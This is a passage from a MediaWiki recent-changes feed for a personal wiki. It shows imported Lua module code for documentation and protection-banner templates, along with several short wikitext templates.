		local sandboxLink = makeWikilink(sandboxPage, sandboxDisplay)&lt;br /&gt;
		local sandboxEditDisplay = message(&#039;sandbox-edit-link-display&#039;)&lt;br /&gt;
		local sandboxEditLink = makeWikilink(&amp;quot;Special:EditPage/&amp;quot; .. sandboxPage, sandboxEditDisplay)&lt;br /&gt;
		local compareUrl = env.compareUrl&lt;br /&gt;
		local compareLink&lt;br /&gt;
		if compareUrl then&lt;br /&gt;
			local compareDisplay = message(&#039;compare-link-display&#039;)&lt;br /&gt;
			compareLink = makeUrlLink(compareUrl, compareDisplay)&lt;br /&gt;
		end&lt;br /&gt;
		sandboxLinks = sandboxLink .. &#039; &#039; .. makeToolbar(sandboxEditLink, compareLink)&lt;br /&gt;
	else&lt;br /&gt;
		local sandboxPreload&lt;br /&gt;
		if subjectSpace == 828 then&lt;br /&gt;
			sandboxPreload = message(&#039;module-sandbox-preload&#039;)&lt;br /&gt;
		else&lt;br /&gt;
			sandboxPreload = message(&#039;template-sandbox-preload&#039;)&lt;br /&gt;
		end&lt;br /&gt;
		local sandboxCreateUrl = sandboxTitle:canonicalUrl{action = &#039;edit&#039;, preload = sandboxPreload}&lt;br /&gt;
		local sandboxCreateDisplay = message(&#039;sandbox-create-link-display&#039;)&lt;br /&gt;
		local sandboxCreateLink = makeUrlLink(sandboxCreateUrl, sandboxCreateDisplay)&lt;br /&gt;
		local mirrorSummary = message(&#039;mirror-edit-summary&#039;, {makeWikilink(templatePage)})&lt;br /&gt;
		local mirrorPreload = message(&#039;mirror-link-preload&#039;)&lt;br /&gt;
		local mirrorUrl = sandboxTitle:canonicalUrl{action = &#039;edit&#039;, preload = mirrorPreload, summary = mirrorSummary}&lt;br /&gt;
		if subjectSpace == 828 then&lt;br /&gt;
			mirrorUrl = sandboxTitle:canonicalUrl{action = &#039;edit&#039;, preload = templateTitle.prefixedText, summary = mirrorSummary}&lt;br /&gt;
		end&lt;br /&gt;
		local mirrorDisplay = message(&#039;mirror-link-display&#039;)&lt;br /&gt;
		local mirrorLink = makeUrlLink(mirrorUrl, mirrorDisplay)&lt;br /&gt;
		sandboxLinks = message(&#039;sandbox-link-display&#039;) .. &#039; &#039; .. makeToolbar(sandboxCreateLink, mirrorLink)&lt;br /&gt;
	end&lt;br /&gt;
	if testcasesTitle.exists then&lt;br /&gt;
		local testcasesPage = testcasesTitle.prefixedText&lt;br /&gt;
		local testcasesDisplay = message(&#039;testcases-link-display&#039;)&lt;br /&gt;
		local testcasesLink = makeWikilink(testcasesPage, testcasesDisplay)&lt;br /&gt;
		local testcasesEditUrl = testcasesTitle:canonicalUrl{action = &#039;edit&#039;}&lt;br /&gt;
		local testcasesEditDisplay = message(&#039;testcases-edit-link-display&#039;)&lt;br /&gt;
		local testcasesEditLink = makeWikilink(&amp;quot;Special:EditPage/&amp;quot; .. testcasesPage, testcasesEditDisplay)&lt;br /&gt;
		-- for Modules, add testcases run link if exists&lt;br /&gt;
		if testcasesTitle.contentModel == &amp;quot;Scribunto&amp;quot;  and testcasesTitle.talkPageTitle and testcasesTitle.talkPageTitle.exists then&lt;br /&gt;
			local testcasesRunLinkDisplay = message(&#039;testcases-run-link-display&#039;)&lt;br /&gt;
			local testcasesRunLink = makeWikilink(testcasesTitle.talkPageTitle.prefixedText, testcasesRunLinkDisplay)&lt;br /&gt;
			testcasesLinks = testcasesLink .. &#039; &#039; .. makeToolbar(testcasesEditLink, testcasesRunLink)&lt;br /&gt;
		else&lt;br /&gt;
			testcasesLinks = testcasesLink .. &#039; &#039; .. makeToolbar(testcasesEditLink)&lt;br /&gt;
		end&lt;br /&gt;
	else&lt;br /&gt;
		local testcasesPreload&lt;br /&gt;
		if subjectSpace == 828 then&lt;br /&gt;
			testcasesPreload = message(&#039;module-testcases-preload&#039;)&lt;br /&gt;
		else&lt;br /&gt;
			testcasesPreload = message(&#039;template-testcases-preload&#039;)&lt;br /&gt;
		end&lt;br /&gt;
		local testcasesCreateUrl = testcasesTitle:canonicalUrl{action = &#039;edit&#039;, preload = testcasesPreload}&lt;br /&gt;
		local testcasesCreateDisplay = message(&#039;testcases-create-link-display&#039;)&lt;br /&gt;
		local testcasesCreateLink = makeUrlLink(testcasesCreateUrl, testcasesCreateDisplay)&lt;br /&gt;
		testcasesLinks = message(&#039;testcases-link-display&#039;) .. &#039; &#039; .. makeToolbar(testcasesCreateLink)&lt;br /&gt;
	end&lt;br /&gt;
	local messageName&lt;br /&gt;
	if subjectSpace == 828 then&lt;br /&gt;
		messageName = &#039;experiment-blurb-module&#039;&lt;br /&gt;
	else&lt;br /&gt;
		messageName = &#039;experiment-blurb-template&#039;&lt;br /&gt;
	end&lt;br /&gt;
	return message(messageName, {sandboxLinks, testcasesLinks})&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
function p.makeCategoriesBlurb(args, env)&lt;br /&gt;
	--[[&lt;br /&gt;
	-- Generates the text &amp;quot;Please add categories to the /doc subpage.&amp;quot;&lt;br /&gt;
	-- @args - a table of arguments passed by the user&lt;br /&gt;
	-- @env - environment table containing title objects, etc., generated with p.getEnvironment&lt;br /&gt;
	-- Messages:&lt;br /&gt;
	-- &#039;doc-link-display&#039; --&amp;gt; &#039;/doc&#039;&lt;br /&gt;
	-- &#039;add-categories-blurb&#039; --&amp;gt; &#039;Please add categories to the $1 subpage.&#039;&lt;br /&gt;
	--]]&lt;br /&gt;
	local docTitle = env.docTitle&lt;br /&gt;
	if not docTitle then&lt;br /&gt;
		return nil&lt;br /&gt;
	end&lt;br /&gt;
	local docPathLink = makeWikilink(docTitle.prefixedText, message(&#039;doc-link-display&#039;))&lt;br /&gt;
	return message(&#039;add-categories-blurb&#039;, {docPathLink})&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
function p.makeSubpagesBlurb(args, env)&lt;br /&gt;
	--[[&lt;br /&gt;
	-- Generates the &amp;quot;Subpages of this template&amp;quot; link.&lt;br /&gt;
	-- @args - a table of arguments passed by the user&lt;br /&gt;
	-- @env - environment table containing title objects, etc., generated with p.getEnvironment&lt;br /&gt;
	&lt;br /&gt;
	-- Messages:&lt;br /&gt;
	-- &#039;template-pagetype&#039; --&amp;gt; &#039;template&#039;&lt;br /&gt;
	-- &#039;module-pagetype&#039; --&amp;gt; &#039;module&#039;&lt;br /&gt;
	-- &#039;default-pagetype&#039; --&amp;gt; &#039;page&#039;&lt;br /&gt;
	-- &#039;subpages-link-display&#039; --&amp;gt; &#039;Subpages of this $1&#039;&lt;br /&gt;
	--]]&lt;br /&gt;
	local subjectSpace = env.subjectSpace&lt;br /&gt;
	local templateTitle = env.templateTitle&lt;br /&gt;
	if not subjectSpace or not templateTitle then&lt;br /&gt;
		return nil&lt;br /&gt;
	end&lt;br /&gt;
	local pagetype&lt;br /&gt;
	if subjectSpace == 10 then&lt;br /&gt;
		pagetype = message(&#039;template-pagetype&#039;)&lt;br /&gt;
	elseif subjectSpace == 828 then&lt;br /&gt;
		pagetype = message(&#039;module-pagetype&#039;)&lt;br /&gt;
	else&lt;br /&gt;
		pagetype = message(&#039;default-pagetype&#039;)&lt;br /&gt;
	end&lt;br /&gt;
	local subpagesLink = makeWikilink(&lt;br /&gt;
		&#039;Special:PrefixIndex/&#039; .. templateTitle.prefixedText .. &#039;/&#039;,&lt;br /&gt;
		message(&#039;subpages-link-display&#039;, {pagetype})&lt;br /&gt;
	)&lt;br /&gt;
	return message(&#039;subpages-blurb&#039;, {subpagesLink})&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
----------------------------------------------------------------------------&lt;br /&gt;
-- Tracking categories&lt;br /&gt;
----------------------------------------------------------------------------&lt;br /&gt;
&lt;br /&gt;
function p.addTrackingCategories(env)&lt;br /&gt;
	--[[&lt;br /&gt;
	-- Check if {{documentation}} is transcluded on a /doc or /testcases page.&lt;br /&gt;
	-- @env - environment table containing title objects, etc., generated with p.getEnvironment&lt;br /&gt;
	&lt;br /&gt;
	-- Messages:&lt;br /&gt;
	-- &#039;display-strange-usage-category&#039; --&amp;gt; true&lt;br /&gt;
	-- &#039;doc-subpage&#039; --&amp;gt; &#039;doc&#039;&lt;br /&gt;
	-- &#039;testcases-subpage&#039; --&amp;gt; &#039;testcases&#039;&lt;br /&gt;
	-- &#039;strange-usage-category&#039; --&amp;gt; &#039;Wikipedia pages with strange ((documentation)) usage&#039;&lt;br /&gt;
	-- &lt;br /&gt;
	-- /testcases pages in the module namespace are not categorised, as they may have&lt;br /&gt;
	-- {{documentation}} transcluded automatically.&lt;br /&gt;
	--]]&lt;br /&gt;
	local title = env.title&lt;br /&gt;
	local subjectSpace = env.subjectSpace&lt;br /&gt;
	if not title or not subjectSpace then&lt;br /&gt;
		return nil&lt;br /&gt;
	end&lt;br /&gt;
	local subpage = title.subpageText&lt;br /&gt;
	if message(&#039;display-strange-usage-category&#039;, nil, &#039;boolean&#039;)&lt;br /&gt;
		and (&lt;br /&gt;
			subpage == message(&#039;doc-subpage&#039;)&lt;br /&gt;
			or subjectSpace ~= 828 and subpage == message(&#039;testcases-subpage&#039;)&lt;br /&gt;
		)&lt;br /&gt;
	then&lt;br /&gt;
		return makeCategoryLink(message(&#039;strange-usage-category&#039;))&lt;br /&gt;
	end&lt;br /&gt;
	return &#039;&#039;&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
return p&lt;/div&gt;</summary>
		<author><name>Justus</name></author>
	</entry>
	<entry>
		<id>https://www.justus.pw/mediawiki/index.php?title=Template:Documentation&amp;diff=58</id>
		<title>Template:Documentation</title>
		<link rel="alternate" type="text/html" href="https://www.justus.pw/mediawiki/index.php?title=Template:Documentation&amp;diff=58"/>
		<updated>2026-01-05T07:39:57Z</updated>

		<summary type="html">&lt;p&gt;Justus: 1 revision imported&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{#invoke:documentation|main|_content={{ {{#invoke:documentation|contentTitle}}}}}}&amp;lt;noinclude&amp;gt;&lt;br /&gt;
&amp;lt;!-- Add categories to the /doc subpage --&amp;gt;&lt;br /&gt;
&amp;lt;/noinclude&amp;gt;&lt;/div&gt;</summary>
		<author><name>Justus</name></author>
	</entry>
	<entry>
		<id>https://www.justus.pw/mediawiki/index.php?title=Template:Imbox&amp;diff=56</id>
		<title>Template:Imbox</title>
		<link rel="alternate" type="text/html" href="https://www.justus.pw/mediawiki/index.php?title=Template:Imbox&amp;diff=56"/>
		<updated>2026-01-05T07:39:56Z</updated>

		<summary type="html">&lt;p&gt;Justus: 1 revision imported&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{#invoke:Message box|imbox}}&amp;lt;noinclude&amp;gt;&lt;br /&gt;
{{documentation}}&lt;br /&gt;
&amp;lt;!-- Categories go on the /doc subpage, and interwikis go on Wikidata. --&amp;gt;&lt;br /&gt;
&amp;lt;/noinclude&amp;gt;&lt;/div&gt;</summary>
		<author><name>Justus</name></author>
	</entry>
	<entry>
		<id>https://www.justus.pw/mediawiki/index.php?title=Template:File_other&amp;diff=54</id>
		<title>Template:File other</title>
		<link rel="alternate" type="text/html" href="https://www.justus.pw/mediawiki/index.php?title=Template:File_other&amp;diff=54"/>
		<updated>2026-01-05T07:39:56Z</updated>

		<summary type="html">&lt;p&gt;Justus: 1 revision imported&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{#switch:&lt;br /&gt;
  &amp;lt;!--If no or empty &amp;quot;demospace&amp;quot; parameter then detect namespace--&amp;gt;&lt;br /&gt;
  {{#if:{{{demospace|}}} &lt;br /&gt;
  | {{lc: {{{demospace}}} }}    &amp;lt;!--Use lower case &amp;quot;demospace&amp;quot;--&amp;gt;&lt;br /&gt;
  | {{#ifeq:{{NAMESPACE}}|{{ns:6}}&lt;br /&gt;
    | file&lt;br /&gt;
    | other&lt;br /&gt;
    }} &lt;br /&gt;
  }}&lt;br /&gt;
| file&lt;br /&gt;
| image    = {{{1|}}}&lt;br /&gt;
| other&lt;br /&gt;
| #default = {{{2|}}}&lt;br /&gt;
}}&amp;lt;!--End switch--&amp;gt;&amp;lt;noinclude&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{{Documentation}}&lt;br /&gt;
&amp;lt;!-- Add categories and interwikis to the /doc subpage, not here! --&amp;gt;&lt;br /&gt;
&amp;lt;/noinclude&amp;gt;&lt;/div&gt;</summary>
		<author><name>Justus</name></author>
	</entry>
	<entry>
		<id>https://www.justus.pw/mediawiki/index.php?title=Template:Error-small&amp;diff=52</id>
		<title>Template:Error-small</title>
		<link rel="alternate" type="text/html" href="https://www.justus.pw/mediawiki/index.php?title=Template:Error-small&amp;diff=52"/>
		<updated>2026-01-05T07:39:56Z</updated>

		<summary type="html">&lt;p&gt;Justus: 1 revision imported&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{#invoke:Error|error|{{{message|{{{1}}}}}}|tag=span|style=font-size:inherit}}&amp;lt;noinclude&amp;gt;{{documentation}}&amp;lt;/noinclude&amp;gt;&lt;/div&gt;</summary>
		<author><name>Justus</name></author>
	</entry>
	<entry>
		<id>https://www.justus.pw/mediawiki/index.php?title=Module:Protection_banner/config&amp;diff=50</id>
		<title>Module:Protection banner/config</title>
		<link rel="alternate" type="text/html" href="https://www.justus.pw/mediawiki/index.php?title=Module:Protection_banner/config&amp;diff=50"/>
		<updated>2026-01-05T07:39:56Z</updated>

		<summary type="html">&lt;p&gt;Justus: 1 revision imported&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;-- This module provides configuration data for [[Module:Protection banner]].&lt;br /&gt;
&lt;br /&gt;
return {&lt;br /&gt;
&lt;br /&gt;
--------------------------------------------------------------------------------&lt;br /&gt;
--&lt;br /&gt;
--                                BANNER DATA&lt;br /&gt;
--&lt;br /&gt;
--------------------------------------------------------------------------------&lt;br /&gt;
&lt;br /&gt;
--[[&lt;br /&gt;
-- Banner data consists of six fields:&lt;br /&gt;
-- * text - the main protection text that appears at the top of protection&lt;br /&gt;
--   banners.&lt;br /&gt;
-- * explanation - the text that appears below the main protection text, used&lt;br /&gt;
--   to explain the details of the protection.&lt;br /&gt;
-- * tooltip - the tooltip text you see when you move the mouse over a small&lt;br /&gt;
--   padlock icon.&lt;br /&gt;
-- * link - the page that the small padlock icon links to.&lt;br /&gt;
-- * alt - the alt text for the small padlock icon. This is also used as tooltip&lt;br /&gt;
--   text for the large protection banners.&lt;br /&gt;
-- * image - the padlock image used in both protection banners and small padlock&lt;br /&gt;
--   icons.&lt;br /&gt;
--&lt;br /&gt;
-- The module checks in three separate tables to find a value for each field.&lt;br /&gt;
-- First it checks the banners table, which has values specific to the reason&lt;br /&gt;
-- for the page being protected. Then the module checks the defaultBanners&lt;br /&gt;
-- table, which has values specific to each protection level. Finally, the&lt;br /&gt;
-- module checks the masterBanner table, which holds data for protection&lt;br /&gt;
-- templates to use if no data has been found in the previous two tables.&lt;br /&gt;
--&lt;br /&gt;
-- The values in the banner data can take parameters. These are specified&lt;br /&gt;
-- using ${TEXTLIKETHIS} (a dollar sign preceding a parameter name&lt;br /&gt;
-- enclosed in curly braces).&lt;br /&gt;
--&lt;br /&gt;
--                          Available parameters:&lt;br /&gt;
--&lt;br /&gt;
-- ${CURRENTVERSION} - a link to the page history or the move log, with the&lt;br /&gt;
-- display message &amp;quot;current-version-edit-display&amp;quot; or&lt;br /&gt;
-- &amp;quot;current-version-move-display&amp;quot;.&lt;br /&gt;
--&lt;br /&gt;
-- ${EDITREQUEST} - a link to create an edit request for the current page.&lt;br /&gt;
--&lt;br /&gt;
-- ${EXPLANATIONBLURB} - an explanation blurb, e.g. &amp;quot;Please discuss any changes&lt;br /&gt;
-- on the talk page; you may submit a request to ask an administrator to make&lt;br /&gt;
-- an edit if it is minor or supported by consensus.&amp;quot;&lt;br /&gt;
--&lt;br /&gt;
-- ${IMAGELINK} - a link to set the image to, depending on the protection&lt;br /&gt;
-- action and protection level.&lt;br /&gt;
--&lt;br /&gt;
-- ${INTROBLURB} - the PROTECTIONBLURB parameter, plus the expiry if an expiry&lt;br /&gt;
-- is set. E.g. &amp;quot;Editing of this page by new or unregistered users is currently &lt;br /&gt;
-- disabled until dd Month YYYY.&amp;quot;&lt;br /&gt;
--&lt;br /&gt;
-- ${INTROFRAGMENT} - the same as ${INTROBLURB}, but without final punctuation&lt;br /&gt;
-- so that it can be used in run-on sentences.&lt;br /&gt;
--&lt;br /&gt;
-- ${PAGETYPE} - the type of the page, e.g. &amp;quot;article&amp;quot; or &amp;quot;template&amp;quot;.&lt;br /&gt;
-- Defined in the cfg.pagetypes table.&lt;br /&gt;
--&lt;br /&gt;
-- ${PROTECTIONBLURB} - a blurb explaining the protection level of the page, e.g.&lt;br /&gt;
-- &amp;quot;Editing of this page by new or unregistered users is currently disabled&amp;quot;&lt;br /&gt;
--&lt;br /&gt;
-- ${PROTECTIONDATE} - the protection date, if it has been supplied to the&lt;br /&gt;
-- template.&lt;br /&gt;
--&lt;br /&gt;
-- ${PROTECTIONLEVEL} - the protection level, e.g. &amp;quot;fully protected&amp;quot; or&lt;br /&gt;
-- &amp;quot;semi-protected&amp;quot;.&lt;br /&gt;
--&lt;br /&gt;
-- ${PROTECTIONLOG} - a link to the protection log or the pending changes log,&lt;br /&gt;
-- depending on the protection action.&lt;br /&gt;
--&lt;br /&gt;
-- ${TALKPAGE} - a link to the talk page. If a section is specified, links&lt;br /&gt;
-- straight to that talk page section.&lt;br /&gt;
--&lt;br /&gt;
-- ${TOOLTIPBLURB} - uses the PAGETYPE, PROTECTIONTYPE and EXPIRY parameters to&lt;br /&gt;
-- create a blurb like &amp;quot;This template is semi-protected&amp;quot;, or &amp;quot;This article is&lt;br /&gt;
-- move-protected until DD Month YYYY&amp;quot;.&lt;br /&gt;
--&lt;br /&gt;
-- ${VANDAL} - links for the specified username (or the root page name)&lt;br /&gt;
-- using Module:Vandal-m.&lt;br /&gt;
--&lt;br /&gt;
--                                 Functions&lt;br /&gt;
--&lt;br /&gt;
-- For advanced users, it is possible to use Lua functions instead of strings&lt;br /&gt;
-- in the banner config tables. Using functions gives flexibility that is not&lt;br /&gt;
-- possible just by using parameters. Functions take two arguments, the&lt;br /&gt;
-- protection object and the template arguments, and they must output a string.&lt;br /&gt;
--&lt;br /&gt;
-- For example:&lt;br /&gt;
--&lt;br /&gt;
-- text = function (protectionObj, args)&lt;br /&gt;
--     if protectionObj.level == &#039;autoconfirmed&#039; then&lt;br /&gt;
--         return &#039;foo&#039;&lt;br /&gt;
--     else&lt;br /&gt;
--         return &#039;bar&#039;&lt;br /&gt;
--     end&lt;br /&gt;
-- end&lt;br /&gt;
--&lt;br /&gt;
-- Some protection object properties and methods that may be useful:&lt;br /&gt;
-- protectionObj.action - the protection action&lt;br /&gt;
-- protectionObj.level - the protection level&lt;br /&gt;
-- protectionObj.reason - the protection reason&lt;br /&gt;
-- protectionObj.expiry - the expiry. Nil if unset, the string &amp;quot;indef&amp;quot; if set&lt;br /&gt;
--     to indefinite, and the protection time in unix time if temporary.&lt;br /&gt;
-- protectionObj.protectionDate - the protection date in unix time, or nil if&lt;br /&gt;
--     unspecified.&lt;br /&gt;
-- protectionObj.bannerConfig - the banner config found by the module. Beware&lt;br /&gt;
--     of editing the config field used by the function, as it could create an&lt;br /&gt;
--     infinite loop.&lt;br /&gt;
-- protectionObj:isProtected - returns a boolean showing whether the page is&lt;br /&gt;
--     protected.&lt;br /&gt;
-- protectionObj:isTemporary - returns a boolean showing whether the expiry is&lt;br /&gt;
--     temporary.&lt;br /&gt;
-- protectionObj:isIncorrect - returns a boolean showing whether the protection&lt;br /&gt;
--     template is incorrect.&lt;br /&gt;
--]]&lt;br /&gt;
&lt;br /&gt;
-- The master banner data, used if no values have been found in banners or&lt;br /&gt;
-- defaultBanners.&lt;br /&gt;
masterBanner = {&lt;br /&gt;
	text = &#039;${INTROBLURB}&#039;,&lt;br /&gt;
	explanation = &#039;${EXPLANATIONBLURB}&#039;,&lt;br /&gt;
	tooltip = &#039;${TOOLTIPBLURB}&#039;,&lt;br /&gt;
	link = &#039;${IMAGELINK}&#039;,&lt;br /&gt;
	alt = &#039;Page ${PROTECTIONLEVEL}&#039;&lt;br /&gt;
},&lt;br /&gt;
&lt;br /&gt;
-- The default banner data. This holds banner data for different protection&lt;br /&gt;
-- levels.&lt;br /&gt;
-- *required* - this table needs edit, move, autoreview and upload subtables.&lt;br /&gt;
defaultBanners = {&lt;br /&gt;
	edit = {},&lt;br /&gt;
	move = {},&lt;br /&gt;
	autoreview = {&lt;br /&gt;
		default = {&lt;br /&gt;
			alt = &#039;Page protected with pending changes&#039;,&lt;br /&gt;
			tooltip = &#039;All edits by unregistered and new users are subject to review prior to becoming visible to unregistered users&#039;,&lt;br /&gt;
			image = &#039;Pending-protection-shackle.svg&#039;&lt;br /&gt;
		}&lt;br /&gt;
	},&lt;br /&gt;
	upload = {}&lt;br /&gt;
},&lt;br /&gt;
&lt;br /&gt;
-- The banner data. This holds banner data for different protection reasons.&lt;br /&gt;
-- In fact, the reasons specified in this table control which reasons are&lt;br /&gt;
-- valid inputs to the first positional parameter.&lt;br /&gt;
--&lt;br /&gt;
-- There is also a non-standard &amp;quot;description&amp;quot; field that can be used for items&lt;br /&gt;
-- in this table. This is a description of the protection reason for use in the&lt;br /&gt;
-- module documentation.&lt;br /&gt;
--&lt;br /&gt;
-- *required* - this table needs edit, move, autoreview and upload subtables.&lt;br /&gt;
banners = {&lt;br /&gt;
	edit = {&lt;br /&gt;
		blp = {&lt;br /&gt;
			description = &#039;For pages protected to promote compliance with the&#039;&lt;br /&gt;
				.. &#039; [[Wikipedia:Biographies of living persons&#039;&lt;br /&gt;
				.. &#039;|biographies of living persons]] policy&#039;,&lt;br /&gt;
			text = &#039;${INTROFRAGMENT} to promote compliance with&#039;&lt;br /&gt;
				.. &#039; [[Wikipedia:Biographies of living persons&#039;&lt;br /&gt;
				.. &amp;quot;|Wikipedia&#039;s&amp;amp;nbsp;policy on&amp;amp;nbsp;the&amp;amp;nbsp;biographies&amp;quot;&lt;br /&gt;
				.. &#039; of&amp;amp;nbsp;living&amp;amp;nbsp;people]].&#039;,&lt;br /&gt;
			tooltip = &#039;${TOOLTIPFRAGMENT} to promote compliance with the policy on&#039;&lt;br /&gt;
				.. &#039; biographies of living persons&#039;,&lt;br /&gt;
		},&lt;br /&gt;
		dmca = {&lt;br /&gt;
			description = &#039;For pages protected by the Wikimedia Foundation&#039;&lt;br /&gt;
				.. &#039; due to [[Digital Millennium Copyright Act]] takedown requests&#039;,&lt;br /&gt;
			explanation = function (protectionObj, args)&lt;br /&gt;
				local ret = &#039;Pursuant to a rights owner notice under the Digital&#039;&lt;br /&gt;
					.. &#039; Millennium Copyright Act (DMCA) regarding some content&#039;&lt;br /&gt;
					.. &#039; in this article, the Wikimedia Foundation acted under&#039;&lt;br /&gt;
					.. &#039; applicable law and took down and restricted the content&#039;&lt;br /&gt;
					.. &#039; in question.&#039;&lt;br /&gt;
				if args.notice then&lt;br /&gt;
					ret = ret .. &#039; A copy of the received notice can be found here: &#039;&lt;br /&gt;
						.. args.notice .. &#039;.&#039;&lt;br /&gt;
				end&lt;br /&gt;
				ret = ret .. &#039; For more information, including websites discussing&#039;&lt;br /&gt;
					.. &#039; how to file a counter-notice, please see&#039;&lt;br /&gt;
					.. &amp;quot; [[Wikipedia:Office actions]] and the article&#039;s ${TALKPAGE}.&amp;quot;&lt;br /&gt;
					.. &amp;quot;&#039;&#039;&#039;Do not remove this template from the article until the&amp;quot;&lt;br /&gt;
					.. &amp;quot; restrictions are withdrawn&#039;&#039;&#039;.&amp;quot;&lt;br /&gt;
				return ret&lt;br /&gt;
			end,&lt;br /&gt;
			image = &#039;Office-protection-shackle.svg&#039;,&lt;br /&gt;
			link = &#039;Wikipedia:Protection policy#office&#039;,&lt;br /&gt;
		},&lt;br /&gt;
		dispute = {&lt;br /&gt;
			description = &#039;For pages protected due to editing disputes&#039;,&lt;br /&gt;
			text = function (protectionObj, args)&lt;br /&gt;
				-- Find the value of &amp;quot;disputes&amp;quot;.&lt;br /&gt;
				local display = &#039;disputes&#039;&lt;br /&gt;
				local disputes&lt;br /&gt;
				if args.section then&lt;br /&gt;
					disputes = string.format(&lt;br /&gt;
						&#039;[[%s:%s#%s|%s]]&#039;,&lt;br /&gt;
						mw.site.namespaces[protectionObj.title.namespace].talk.name,&lt;br /&gt;
						protectionObj.title.text,&lt;br /&gt;
						args.section,&lt;br /&gt;
						display&lt;br /&gt;
					)&lt;br /&gt;
				else&lt;br /&gt;
					disputes = display&lt;br /&gt;
				end&lt;br /&gt;
&lt;br /&gt;
				-- Make the blurb, depending on the expiry.&lt;br /&gt;
				local msg&lt;br /&gt;
				if type(protectionObj.expiry) == &#039;number&#039; then&lt;br /&gt;
					msg = &#039;${INTROFRAGMENT} or until editing %s have been resolved.&#039;&lt;br /&gt;
				else&lt;br /&gt;
					msg = &#039;${INTROFRAGMENT} until editing %s have been resolved.&#039;&lt;br /&gt;
				end&lt;br /&gt;
				return string.format(msg, disputes)&lt;br /&gt;
			end,&lt;br /&gt;
			explanation = &amp;quot;This protection is &#039;&#039;&#039;not&#039;&#039;&#039; an endorsement of the&amp;quot;&lt;br /&gt;
				.. &#039; ${CURRENTVERSION}. ${EXPLANATIONBLURB}&#039;,&lt;br /&gt;
			tooltip = &#039;${TOOLTIPFRAGMENT} due to editing disputes&#039;,&lt;br /&gt;
		},&lt;br /&gt;
		ecp = {&lt;br /&gt;
			description = &#039;For articles in topic areas authorized by&#039;&lt;br /&gt;
				.. &#039; [[Wikipedia:Arbitration Committee|ArbCom]] or&#039;&lt;br /&gt;
				.. &#039; meets the criteria for community use&#039;,&lt;br /&gt;
			tooltip = &#039;This ${PAGETYPE} is ${PROTECTIONLEVEL}&#039;,&lt;br /&gt;
			alt = &#039;Extended-protected ${PAGETYPE}&#039;,&lt;br /&gt;
		},&lt;br /&gt;
		mainpage = {&lt;br /&gt;
			description = &#039;For pages protected for being displayed on the [[Main Page]]&#039;,&lt;br /&gt;
			text = &#039;This file is currently&#039;&lt;br /&gt;
				.. &#039; [[Wikipedia:This page is protected|protected]] from&#039;&lt;br /&gt;
				.. &#039; editing because it is currently or will soon be displayed&#039;&lt;br /&gt;
				.. &#039; on the [[Main Page]].&#039;,&lt;br /&gt;
			explanation = &#039;Images on the Main Page are protected due to their high&#039;&lt;br /&gt;
				.. &#039; visibility. Please discuss any necessary changes on the ${TALKPAGE}.&#039;&lt;br /&gt;
				.. &#039;&amp;lt;br /&amp;gt;&amp;lt;span style=&amp;quot;font-size:90%;&amp;quot;&amp;gt;&#039;&lt;br /&gt;
				.. &amp;quot;&#039;&#039;&#039;Administrators:&#039;&#039;&#039; Once this image is definitely off the Main Page,&amp;quot;&lt;br /&gt;
				.. &#039; please unprotect this file, or reduce to semi-protection,&#039;&lt;br /&gt;
				.. &#039; as appropriate.&amp;lt;/span&amp;gt;&#039;,&lt;br /&gt;
		},&lt;br /&gt;
		office = {&lt;br /&gt;
			description = &#039;For pages protected by the Wikimedia Foundation&#039;,&lt;br /&gt;
			text = function (protectionObj, args)&lt;br /&gt;
				local ret = &#039;This ${PAGETYPE} is currently under the&#039;&lt;br /&gt;
					.. &#039; scrutiny of the&#039;&lt;br /&gt;
					.. &#039; [[Wikipedia:Office actions|Wikimedia Foundation Office]]&#039;&lt;br /&gt;
					.. &#039; and is protected.&#039;&lt;br /&gt;
				if protectionObj.protectionDate then&lt;br /&gt;
					ret = ret .. &#039; It has been protected since ${PROTECTIONDATE}.&#039;&lt;br /&gt;
				end&lt;br /&gt;
				return ret&lt;br /&gt;
			end,&lt;br /&gt;
			explanation = &amp;quot;If you can edit this page, please discuss all changes and&amp;quot;&lt;br /&gt;
				.. &amp;quot; additions on the ${TALKPAGE} first. &#039;&#039;&#039;Do not remove protection from this&amp;quot;&lt;br /&gt;
				.. &amp;quot; page unless you are authorized by the Wikimedia Foundation to do&amp;quot;&lt;br /&gt;
				.. &amp;quot; so.&#039;&#039;&#039;&amp;quot;,&lt;br /&gt;
			image = &#039;Office-protection-shackle.svg&#039;,&lt;br /&gt;
			link = &#039;Wikipedia:Protection policy#office&#039;,&lt;br /&gt;
		},&lt;br /&gt;
		reset = {&lt;br /&gt;
			description = &#039;For pages protected by the Wikimedia Foundation and&#039;&lt;br /&gt;
				.. &#039; &amp;quot;reset&amp;quot; to a bare-bones version&#039;,&lt;br /&gt;
 			text = &#039;This ${PAGETYPE} is currently under the&#039;&lt;br /&gt;
					.. &#039; scrutiny of the&#039;&lt;br /&gt;
					.. &#039; [[Wikipedia:Office actions|Wikimedia Foundation Office]]&#039;&lt;br /&gt;
					.. &#039; and is protected.&#039;,&lt;br /&gt;
			explanation = function (protectionObj, args)&lt;br /&gt;
				local ret = &#039;&#039;&lt;br /&gt;
				if protectionObj.protectionDate then&lt;br /&gt;
					ret = ret .. &#039;On ${PROTECTIONDATE} this ${PAGETYPE} was&#039;&lt;br /&gt;
				else&lt;br /&gt;
					ret = ret .. &#039;This ${PAGETYPE} has been&#039;&lt;br /&gt;
				end&lt;br /&gt;
				ret = ret .. &#039; reduced to a&#039;&lt;br /&gt;
				.. &#039; simplified, &amp;quot;bare bones&amp;quot; version so that it may be completely&#039;&lt;br /&gt;
				.. &#039; rewritten to ensure it meets the policies of&#039;&lt;br /&gt;
				.. &#039; [[WP:NPOV|Neutral Point of View]] and [[WP:V|Verifiability]].&#039;&lt;br /&gt;
				.. &#039; Standard Wikipedia policies will apply to its rewriting—which&#039;&lt;br /&gt;
				.. &#039; will eventually be open to all editors—and will be strictly&#039;&lt;br /&gt;
				.. &#039; enforced. The ${PAGETYPE} has been ${PROTECTIONLEVEL} while&#039;&lt;br /&gt;
